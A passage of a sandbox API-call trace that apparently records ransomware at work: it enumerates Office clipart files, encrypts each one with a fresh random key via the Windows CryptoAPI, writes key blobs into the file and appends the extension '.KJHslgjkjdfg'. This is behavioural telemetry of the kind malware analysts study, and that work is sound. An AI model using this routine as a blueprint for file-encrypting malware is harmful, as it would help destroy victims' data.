lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.522] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.522] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.522] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.522] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.522] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3632, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3632, lpOverlapped=0x0) returned 1 [0161.524] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3640, dwBufLen=0x3640 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3640) returned 1 [0161.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.524] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3640, lpOverlapped=0x0) returned 1 [0161.524] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.524] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3714, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.524] SetEndOfFile (hFile=0x114) returned 1 [0161.526] GetProcessHeap () returned 0x2a0000 [0161.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.527] GetProcessHeap () returned 0x2a0000 [0161.527] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.527] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.kjhslgjkjdfg")) returned 1 [0161.529] CloseHandle (hObject=0x114) returned 1 [0161.530] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1b11, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099154.JPG", cAlternateFileName="")) returned 1 [0161.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.531] GetProcessHeap () returned 0x2a0000 [0161.531] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.531] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.531] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.531] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xf, lpOverlapped=0x0) returned 1 [0161.533] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.533] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.533] GetProcessHeap () returned 0x2a0000 [0161.533] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.533] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.533] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.533] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.533] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.533] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.534] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.534] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.534] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.534] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.534] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.534] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.534] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b11, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b11, lpOverlapped=0x0) returned 1 [0161.535] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b20, dwBufLen=0x1b20 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b20) returned 1 [0161.535] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.535] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b20, lpOverlapped=0x0) returned 1 [0161.535] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.535] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1bf4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.535] SetEndOfFile (hFile=0x114) returned 1 [0161.537] GetProcessHeap () returned 0x2a0000 [0161.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.537] GetProcessHeap () returned 0x2a0000 [0161.537] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.537] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099154.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099154.jpg.kjhslgjkjdfg")) returned 1 [0161.538] CloseHandle (hObject=0x114) returned 1 [0161.538] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x227a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099155.JPG", cAlternateFileName="")) returned 1 [0161.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.539] GetProcessHeap () returned 0x2a0000 [0161.539] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.539] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.539] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.539] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0161.541] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.541] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.541] GetProcessHeap () returned 0x2a0000 [0161.541] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.541] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.541] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.541] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.541] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.542] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.542] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.542] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.542] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.542] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.542] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.542] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x227a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x227a, lpOverlapped=0x0) returned 1 [0161.543] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2280, dwBufLen=0x2280 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2280) returned 1 [0161.543] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.543] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2280, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2280, lpOverlapped=0x0) returned 1 [0161.543] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.543] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2354, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.543] SetEndOfFile (hFile=0x114) returned 1 [0161.546] GetProcessHeap () returned 0x2a0000 [0161.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.546] GetProcessHeap () returned 0x2a0000 [0161.546] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.546] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099155.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099155.jpg.kjhslgjkjdfg")) returned 1 [0161.547] CloseHandle (hObject=0x114) returned 1 [0161.547] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3682, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099156.JPG", cAlternateFileName="")) returned 1 [0161.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.548] GetProcessHeap () returned 0x2a0000 [0161.548] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.548] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.548] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.548] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0161.551] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.551] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.556] GetProcessHeap () returned 0x2a0000 [0161.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.556] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.556] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.556] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.556] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.557] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.557] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.557] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.557] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.557] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.557] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3682, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3682, lpOverlapped=0x0) returned 1 [0161.558] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3690, dwBufLen=0x3690 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3690) returned 1 [0161.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.558] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3690, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3690, lpOverlapped=0x0) returned 1 [0161.558] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.558] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3764, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.558] SetEndOfFile (hFile=0x114) returned 1 [0161.562] GetProcessHeap () returned 0x2a0000 [0161.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0161.562] GetProcessHeap () returned 0x2a0000 [0161.562] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0161.562] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099156.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099156.jpg.kjhslgjkjdfg")) returned 1 [0161.563] CloseHandle (hObject=0x114) returned 1 [0161.563] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x25c7, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099157.JPG", cAlternateFileName="")) returned 1 [0161.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099157.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099157.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0161.565] GetProcessHeap () returned 0x2a0000 [0161.565] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0161.565] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0161.565] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0161.565] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x9, lpOverlapped=0x0) returned 1 [0161.567] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.567] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.567] GetProcessHeap () returned 0x2a0000 [0161.567] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0161.567] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0161.567] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0161.567] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0161.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0161.568] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0161.568] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0161.568] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0161.568] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.568] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x25c7, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x25c7, lpOverlapped=0x0) returned 1 [0161.569] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25d0, dwBufLen=0x25d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x25d0) returned 1 [0161.569] SetFilePointerEx (in: hFile=0x114, 